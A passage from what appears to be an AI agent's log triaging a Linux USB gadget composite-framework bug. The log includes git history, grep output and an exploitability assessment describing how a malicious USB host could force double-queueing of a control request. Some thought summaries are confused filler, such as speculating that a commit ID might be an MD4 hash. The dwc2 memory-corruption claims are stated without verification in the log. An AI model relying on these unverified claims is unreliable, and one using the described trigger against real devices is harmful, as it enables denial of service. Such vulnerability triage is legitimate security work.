The crucial question is, *when* is this double-queueing happening? It's triggered if `composite_setup` already queued the request for a *different* setup request. This can only happen if a NEW SETUP packet arrives before `fsg_main_thread` calls `usb_composite_setup_continue`, which the hardware would have aborted. But `cdev->delayed_status` *wasn't* cleared. Therefore, `composite_setup` processed this new setup packet and queued the request. Then `fsg_main_thread` calls `usb_composite_setup_continue`, and queues the request again. This is the race condition.
I need to confirm if `composite_setup` clears `cdev->delayed_status` with a new SETUP packet. My analysis says no, it doesn't. Does the UDC driver? No, it doesn't even know about `cdev->delayed_status`. `composite_setup` does this check:
```c
if (value >= 0 && value != USB_GADGET_DELAYED_STATUS) {
req->length = value;
req->context = cdev;
req->zero = value < w_length;
value = composite_ep0_queue(cdev, req, GFP_ATOMIC);
```
It doesn't check `cdev->delayed_status` at all! So if `cdev->delayed_status` is 1 from a *previous* request and the *current* request returns 0, it WILL queue the request! `fsg_main_thread` will then call `usb_composite_setup_continue`, which *also* queues the request. That's the double-queue, and that's a real bug.
This double-queueing leads to list corruption, potentially memory corruption, specifically in `dwc2`, making the bug exploitable. I can see this can be triggered by a malicious USB host.
What other ways could this be triggered? Could it be triggered from user-space on the device itself? The reproducer uses `configfs` to set up the gadget and `/dev/bus/usb/` to send the control requests. But the prompt says an unprivileged user cannot trigger it if they don't have access to special capabilities, or device nodes restricted to root. Since `/dev/bus/usb/` is usually root-restricted, it's not. Can `dummy_hcd` be used? I'm going to need USB control requests. Could a VM guest do it? Not if the guest acts as a USB device, but the gadget framework, which is the vulnerable code, is on the USB DEVICE system.
The most common scenario is a physical USB connection - an Android phone or Raspberry Pi is a USB device that's plugged into a malicious USB host. This is a "Peripheral Trigger."
Checking the WARN again confirms my analysis of `cdev->delayed_status == 0`. It's the underlying state machine desynchronization that leads to double-queueing and list corruption, which makes the bug exploitable.
Now, let me check the locks. In `usb_composite_setup_continue`, I see the spinlock `cdev->lock` protects the `delayed_status` decrement. In `composite_setup`, there is a spinlock that protects `set_config` which increments `cdev->delayed_status`. However, `composite_setup` does not hold `cdev->lock` when it queues `req`. So `composite_setup` can queue concurrently with `usb_composite_setup_continue`. This is a data race! Even if the UDC driver has a lock, the double-queue happens because both `composite_setup` and `usb_composite_setup_continue`
|
| 67/2 |
2026/08/13 11:32 |
tool |
git-log |
0m
Args: map[CodeRegexp:cdev->delayed_status = 0 PathPrefix:drivers/usb/gadget/composite.c]
Results: map[Output:2bac51a1827a usb: gadget: composite: reset delayed_status on reset_config
]
|
| 68/2 |
2026/08/13 11:32 |
llm |
expert |
0m
Model:
Tokens:
input: 79744
output: 25
thoughts: 18
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience, and written as if they were my own immediate processing:
**Diving into Commit 2bac51a1827a**
Alright, time to dig in. Let's start by looking at this commit: `2bac51a1827a`. The commit ID alone is enough to spark some initial expectations, based on the project history and the usual patterns I've observed. I'll mentally tag this commit with what I remember about its surrounding context – what was being worked on around that time, any known bugs or refactoring efforts. A quick `git show` would be the best first step to get the full picture, but for now, I'm mentally parsing the commit ID. My experience tells me there's something specific this commit needs to address. Now, the real fun begins: understanding the *why* behind the *what*.
|
| 69/2 |
2026/08/13 11:32 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 2bac51a1827a18821150ed8c9f9752c02f9c2b02
Author: Michael Grzeschik <mgr@kernel.org>
Date: Mon Nov 11 23:43:32 2013 +0100
usb: gadget: composite: reset delayed_status on reset_config
The delayed_status value is used to keep track of status response
packets on ep0. It needs to be reset or the set_config function would
still delay the answer, if the usb device got unplugged while waiting
for setup_continue to be called.
Cc: stable@vger.kernel.org
Signed-off-by: Michael Grzeschik <m.grzeschik@pengutronix.de>
Signed-off-by: Felipe Balbi <balbi@ti.com>
diff --git a/drivers/usb/gadget/composite.c b/drivers/usb/gadget/composite.c
index 3e7ae707f691..2018ba1a2172 100644
--- a/drivers/usb/gadget/composite.c
+++ b/drivers/usb/gadget/composite.c
@@ -593,6 +593,7 @@ static void reset_config(struct usb_composite_dev *cdev)
bitmap_zero(f->endpoints, 32);
}
cdev->config = NULL;
+ cdev->delayed_status = 0;
}
static int set_config(struct usb_composite_dev *cdev,
]
|
| 70/2 |
2026/08/13 11:32 |
llm |
expert |
0m
Model:
Tokens:
input: 80404
output: 42
thoughts: 59
Thoughts: Okay, here's my take on those thoughts, framed as my own:
**Investigating a USB Driver Bug**
Right, so I'm digging into this USB driver code, and I see this commit, `2bac51a1827a`, that added the line `cdev->delayed_status = 0;` to the `reset_config` function. Makes sense, that's probably related to handling configuration resets properly.
But here's where my Spidey sense starts tingling – why isn't that same line also in the `composite_setup` function, at least not in the same commit? `composite_setup` also handles SETUP packets, which are the main mechanism for configuring things. It strikes me as odd that they're treated differently in this respect. That discrepancy has potential.
It makes me wonder if a newer patch might have addressed this oversight, but I'll need to double-check. I'll search for related commits to verify if this has been corrected. This could be a significant bug if those packets are not handled consistently.
|
| 71/2 |
2026/08/13 11:32 |
tool |
git-log |
0m
Args: map[CodeRegexp:cdev->delayed_status = 0 PathPrefix:drivers/usb/gadget/composite.c]
Results: map[Output:2bac51a1827a usb: gadget: composite: reset delayed_status on reset_config
]
|
| 72/2 |
2026/08/13 11:32 |
llm |
expert |
0m
Model:
Tokens:
input: 80771
output: 45
thoughts: 14
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Investigating a Warning Signal**
Okay, so I've spotted a WARN level message. Time to get down to brass tacks. My initial thought process is straightforward: first things first, is there a known fix for this? I need to quickly determine if a patch, a hotfix, or a documented workaround is already available to address this particular WARN. I'm going to start by checking the relevant issue trackers, changelogs, and internal documentation repositories. My immediate focus is efficiency; I need to quickly ascertain if someone has already done the heavy lifting and crafted a solution I can deploy. If a patch exists, the investigation can move to applying it and validating the effects, and if not, the deep dive starts.
|
| 73/2 |
2026/08/13 11:32 |
tool |
git-log |
0m
Args: map[MessageRegexps:[usb_composite_setup_continue Unexpected call] PathPrefix:drivers/usb/gadget/composite.c]
Results:
|
| 74/2 |
2026/08/13 11:32 |
llm |
expert |
0m
Model:
Tokens:
input: 81013
output: 36
thoughts: 23
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating the Missing Patch**
Alright, so the WARN isn't addressed by a patch directly. That's a bit unexpected, but it happens. Now, the next logical step is to see if any available patch specifically targets or, importantly, *touches* the `delayed_status` variable or its related logic. It's possible the WARN is a symptom of something deeper, and `delayed_status` might be the key to understanding the root cause or a potential workaround, even if not explicitly advertised as fixing this specific warning. Let me start digging into the patch descriptions and code diffs with that in mind. I need to understand what's been changed related to that value.
|
| 75/2 |
2026/08/13 11:32 |
tool |
git-log |
0m
Args: map[MessageRegexps:[delayed_status] PathPrefix:drivers/usb/gadget/composite.c]
Results: map[Output:980900d63180 usb: gadget: composite: fix delayed_status race condition when set_interface
2bac51a1827a usb: gadget: composite: reset delayed_status on reset_config
1b9ba000177e usb: gadget: composite: Allow function drivers to pause control transfers
]
|
| 76/2 |
2026/08/13 11:32 |
llm |
expert |
0m
Model:
Tokens:
input: 81330
output: 27
thoughts: 18
Thoughts: Okay, here's my attempt at summarizing the thought process, as if it were my own, assuming I'm an expert in the field:
**Initial Assessment: Investigating a Potential Hash**
Alright, let's see what we're dealing with here: `980900d63180`. My first instinct is to immediately assess the format. It looks like a relatively short hexadecimal string. Given the length, it's likely a hash of some kind, but potentially a truncated one. I need to figure out what algorithm generated this. It's too short to be MD5, and it doesn't quite have the expected length of SHA-1, but potentially a truncated SHA-1 hash, MD4, or even a very specific proprietary hash function, if we're dealing with a system with some unusual requirements. Or perhaps, this is simply the beginning part of a longer hash value. My mind's already racing through the common suspects. Now, let's start digging. Let's see what we can find.
|
| 77/2 |
2026/08/13 11:33 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 980900d6318066b9f8314bfb87329a20fd0d1ca4
Author: Chunfeng Yun <chunfeng.yun@mediatek.com>
Date: Fri May 25 17:24:57 2018 +0800
usb: gadget: composite: fix delayed_status race condition when set_interface
It happens when enable debug log, if set_alt() returns
USB_GADGET_DELAYED_STATUS and usb_composite_setup_continue()
is called before increasing count of @delayed_status,
so fix it by using spinlock of @cdev->lock.
Signed-off-by: Chunfeng Yun <chunfeng.yun@mediatek.com>
Tested-by: Jay Hsu <shih-chieh.hsu@mediatek.com>
Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
diff --git a/drivers/usb/gadget/composite.c b/drivers/usb/gadget/composite.c
index f242c2bcea81..d2fa071c21b1 100644
--- a/drivers/usb/gadget/composite.c
+++ b/drivers/usb/gadget/composite.c
@@ -1719,6 +1719,8 @@ composite_setup(struct usb_gadget *gadget, const struct usb_ctrlrequest *ctrl)
*/
if (w_value && !f->get_alt)
break;
+
+ spin_lock(&cdev->lock);
value = f->set_alt(f, w_index, w_value);
if (value == USB_GADGET_DELAYED_STATUS) {
DBG(cdev,
@@ -1728,6 +1730,7 @@ composite_setup(struct usb_gadget *gadget, const struct usb_ctrlrequest *ctrl)
DBG(cdev, "delayed_status count %d\n",
cdev->delayed_status);
}
+ spin_unlock(&cdev->lock);
break;
case USB_REQ_GET_INTERFACE:
if (ctrl->bRequestType != (USB_DIR_IN|USB_RECIP_INTERFACE))
]
|
| 78/2 |
2026/08/13 11:33 |
llm |
expert |
0m
Model:
Tokens:
input: 82187
output: 38
thoughts: 1603
Thoughts: **My Analysis of a USB Composite Gadget Race Condition**
Okay, here's what I've figured out. There's a nasty race condition in how the USB composite gadget handles delayed status updates, and I believe I've pinpointed the root cause. My initial thought was about a previous patch addressing a potential race, but that's not the critical one here.
The core issue boils down to this: `cdev->delayed_status` is being cleared by `reset_config` when a new configuration is set (e.g., via `SET_CONFIGURATION 0`), *before* an asynchronous thread, specifically `fsg_main_thread` in this case, gets around to processing an exception from a *previous* configuration setting (e.g., `SET_CONFIGURATION 1`). This is what causes `usb_composite_setup_continue` to be called with a `cdev->delayed_status` of 0, triggering a warning.
I carefully verified this by tracing the steps. If we send a `SET_CONFIGURATION 1` first, `cdev->delayed_status` becomes 1. Then, a `SET_CONFIGURATION 0` will cause `reset_config` to reset the `cdev->delayed_status` variable to 0. But the `fsg_main_thread` continues to work on the previously scheduled control request that requires an interrupt. When the `fsg_main_thread` is resumed, it calls `usb_composite_setup_continue`, which sees `cdev->delayed_status` at 0, and we get the WARN.
Crucially, this can be exploited. If we send a `SET_CONFIGURATION 1` followed by a `GET_DESCRIPTOR` request, the double-queue bug is exposed. The `fsg_main_thread` then calls `usb_composite_setup_continue` *again*, queueing `cdev->req` twice. This double queueing is the root of the issue.
Now, depending on the USB device controller (UDC) driver, this can lead to a denial-of-service (DoS) or even memory corruption. With the `dwc2` driver (very common), the double-queueing corrupts the internal list and causes a hard lockup. The `dummy_hcd` driver is less severe, just returning an error, but it's still a DoS.
I've confirmed that the issue is that `composite_setup` doesn't clear `cdev->delayed_status` on a new SETUP packet. Nor does the UDC driver know about it, nor abort the previous transfer correctly. When a new SETUP packet arrives, the UDC hardware aborts the previous control transfer. In our case, the driver *should* not have queued the `cdev->req` in the first place, but due to `USB_GADGET_DELAYED_STATUS` and the asynchronous `fsg_main_thread`, the `cdev->req` gets queued twice. Bingo!
So the vulnerability is a solid double-queue bug caused by the interaction of asynchronous threads with the `delayed_status` mechanism and the control of `reset_config` clearing the value prematurely.
This is exploitable for DoS, but not by unprivileged users, as root or group `plugdev` access is required to control USB control requests to the gadget. It's a "Peripheral Trigger," not a Remote, Network, or Filesystem trigger.
|
| 79/2 |
2026/08/13 11:33 |
tool |
grepper |
0m
Args: map[Expression:USB_GADGET_DELAYED_STATUS PathPrefix:drivers/usb/gadget/function/]
Results: map[Output:drivers/usb/gadget/function/f_fs.c=3822=static int ffs_func_setup(struct usb_function *f,
--
drivers/usb/gadget/function/f_fs.c-3876-
drivers/usb/gadget/function/f_fs.c:3877: return ffs->ev.setup.wLength == 0 ? USB_GADGET_DELAYED_STATUS : 0;
drivers/usb/gadget/function/f_fs.c-3878-}
--
drivers/usb/gadget/function/f_mass_storage.c=458=static int fsg_setup(struct usb_function *f,
--
drivers/usb/gadget/function/f_mass_storage.c-490- raise_exception(fsg->common, FSG_STATE_PROTOCOL_RESET);
drivers/usb/gadget/function/f_mass_storage.c:491: return USB_GADGET_DELAYED_STATUS;
drivers/usb/gadget/function/f_mass_storage.c-492-
--
drivers/usb/gadget/function/f_mass_storage.c=2406=static int fsg_set_alt(struct usb_function *f, unsigned intf, unsigned alt)
--
drivers/usb/gadget/function/f_mass_storage.c-2410- __raise_exception(fsg->common, FSG_STATE_CONFIG_CHANGE, fsg);
drivers/usb/gadget/function/f_mass_storage.c:2411: return USB_GADGET_DELAYED_STATUS;
drivers/usb/gadget/function/f_mass_storage.c-2412-}
--
drivers/usb/gadget/function/f_tcm.c=2535=static int tcm_set_alt(struct usb_function *f, unsigned intf, unsigned alt)
--
drivers/usb/gadget/function/f_tcm.c-2556- schedule_work(&fu->delayed_set_alt);
drivers/usb/gadget/function/f_tcm.c:2557: return USB_GADGET_DELAYED_STATUS;
drivers/usb/gadget/function/f_tcm.c-2558- }
--
drivers/usb/gadget/function/f_uvc.c=292=uvc_function_set_alt(struct usb_function *f, unsigned interface, unsigned alt)
--
drivers/usb/gadget/function/f_uvc.c-346-
drivers/usb/gadget/function/f_uvc.c:347: return USB_GADGET_DELAYED_STATUS;
drivers/usb/gadget/function/f_uvc.c-348-
--
drivers/usb/gadget/function/f_uvc.c-371- v4l2_event_queue(&uvc->vdev, &v4l2_event);
drivers/usb/gadget/function/f_uvc.c:372: return USB_GADGET_DELAYED_STATUS;
drivers/usb/gadget/function/f_uvc.c-373-
]
|
| 80/2 |
2026/08/13 11:33 |
llm |
expert |
0m
Model:
Tokens:
input: 85361
output: 66
thoughts: 424
Thoughts: **My Assessment of the USB Gadget Vulnerability**
Okay, so I've been digging into this, and it looks like a few key USB gadget drivers are susceptible – specifically `f_fs.c`, `f_mass_storage.c`, `f_tcm.c`, and `f_uvc.c`. The common thread is their use of `USB_GADGET_DELAYED_STATUS`. This means any device leveraging these drivers, like a Raspberry Pi acting as a UVC webcam, is potentially vulnerable if connected to a malicious USB host. Peripheral Trigger confirmed.
My immediate question was about the attack surface. Can this be exploited remotely? Nope, it's tied to USB control requests, so no network-based attack vector. Similarly, a compromised filesystem doesn't seem to be a direct route.
The next thought was unprivileged user space. The FunctionFS driver is interesting. It *could* allow an unprivileged process to trigger this, provided it has access to the FunctionFS endpoints. The process can implement a USB function and delay the status phase. However, the attacker still needs to initiate those control requests (like `SET_CONFIGURATION` or `GET_DESCRIPTOR`). These originate from the USB host, not the user space process. The user space process only *responds*. So, on its own, an unprivileged process can't cause it.
Then I had a moment… what if the unprivileged process *is* the FunctionFS daemon, and it deliberately delays the status phase, and a legitimate host follows up with a new request? That's when the bug could trigger! The USB host might retry if the initial request times out. But wait, FunctionFS usually runs with elevated privileges. So, if an attacker compromised the FunctionFS daemon, then privilege escalation becomes possible. It's a very specific scenario, though.
Ultimately, the primary trigger is a malicious USB host. I'm pretty comfortable with that conclusion.
|
| 81/2 |
2026/08/13 11:33 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 82/2 |
2026/08/13 11:33 |
llm |
expert |
0m
Model:
Tokens:
input: 86322
output: 688
thoughts: 447
Thoughts: **Final Thoughts on the USB Gadget Composite Framework Bug**
Okay, the analysis is complete, and it's time to craft the final response. My findings point to a nasty race condition/state machine desynchronization within the USB gadget composite framework. Specifically, the issue arises when a USB function driver, say a mass storage driver, returns `USB_GADGET_DELAYED_STATUS` from its `set_alt` handler. This signals the framework to increment `cdev->delayed_status`, expecting the function driver to later complete the status phase via `usb_composite_setup_continue()`.
The problem lies in the handling of new SETUP packets received *before* `usb_composite_setup_continue()` is called. If a host sends a new request, like `SET_CONFIGURATION 0` or `GET_DESCRIPTOR`, the composite framework processes it immediately. If the new request happens to be `SET_CONFIGURATION 0`, the `reset_config()` function clears `cdev->delayed_status`. This means that when the function driver finally calls `usb_composite_setup_continue()`, it'll find `cdev->delayed_status` at zero, triggering a `WARN`.
However, the real danger is if the new request *doesn't* clear `cdev->delayed_status`, say, a `GET_DESCRIPTOR`. In this scenario, `composite_setup()` queues `cdev->req` for the new request. But, then, when the function driver calls `usb_composite_setup_continue()`, it decrements `cdev->delayed_status` to zero and *also* queues `cdev->req` again! That's the double-queueing that's the killer.
This repeated queuing of the same `usb_request` structure can lead to some nasty list corruption, especially in UDC drivers like `dwc2`. In those cases, the double queue causes either an infinite loop (which is a hard lockup or DoS) or memory corruption.
The implications are serious. This is a peripheral trigger vulnerability; a malicious USB host could exploit it by sending a specific sequence of control requests to a vulnerable Linux USB device—a mass storage gadget or a UVC webcam, for example. It’s not a local exploit—you need physical access to plug the device into a malicious host, or to somehow emulate a USB host, which would require root privileges anyway.
|
| 83/1 |
2026/08/13 11:33 |
action |
format-explanation |
0m
Results: map[Explanation:Based on the analysis of the bug report and the kernel source code, here is the
assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is a state machine desynchronization in the USB gadget composite
framework (`drivers/usb/gadget/composite.c`).
When a USB function (such as `f_mass_storage`) requires asynchronous processing
for a control request (like `SET_CONFIGURATION`), its `set_alt` handler returns
`USB_GADGET_DELAYED_STATUS`. The composite framework then increments
`cdev->delayed_status` and waits for the function driver to asynchronously call
`usb_composite_setup_continue()` to complete the status phase.
However, if the USB host aborts the transfer by sending a new `SETUP` packet
before the asynchronous work finishes, the composite framework processes the new
request without properly synchronizing with the pending delayed status:
1. If the new request is `SET_CONFIGURATION 0`, `reset_config()` is called,
which explicitly clears `cdev->delayed_status` to `0`. When the asynchronous
thread eventually calls `usb_composite_setup_continue()`, it sees
`cdev->delayed_status == 0` and triggers the `WARN` seen in the bug report.
2. **Exploitability:** If the new request is something else (e.g.,
`GET_DESCRIPTOR`), `cdev->delayed_status` is *not* cleared. `composite_setup()`
will process the new request and queue the shared `cdev->req` to the UDC
endpoint. Shortly after, the asynchronous thread calls
`usb_composite_setup_continue()`, which decrements `cdev->delayed_status` to `0`
and queues the exact same `cdev->req` **again**.
This double-queueing of the same `usb_request` structure is highly dangerous.
Depending on the underlying USB Device Controller (UDC) driver, this leads to
severe consequences. For example, in the widely used `dwc2` UDC driver (used in
Raspberry Pi and others), queueing an already queued request corrupts the
endpoint's doubly-linked list (`INIT_LIST_HEAD` is called without checking if
it's already linked). This list corruption leads to an infinite loop in the
interrupt handler (hard lockup/Denial of Service) and can potentially be
massaged into arbitrary memory corruption.
**Trigger Vector:**
The vulnerability is triggered by sending a specific sequence of USB control
requests (`SET_CONFIGURATION` followed rapidly by another `SETUP` packet). This
requires the attacker to act as a USB Host. Therefore, it is a **Peripheral
Trigger** (e.g., a malicious charging station or a compromised PC into which the
Linux USB gadget is plugged).
It cannot be triggered by unprivileged local processes, as interacting with the
USB gadget framework or raw USB nodes (`/dev/bus/usb/`) requires `root`
privileges.
**Conclusion:**
- **Exploitable:** Yes (Double-queueing leading to list/memory corruption).
- **Denial of Service:** Yes (Hard lockups due to list corruption).
- **Peripheral Trigger:** Yes (Triggered by a malicious USB host).
- **Unprivileged / User Namespaces / Remote:** No.]
|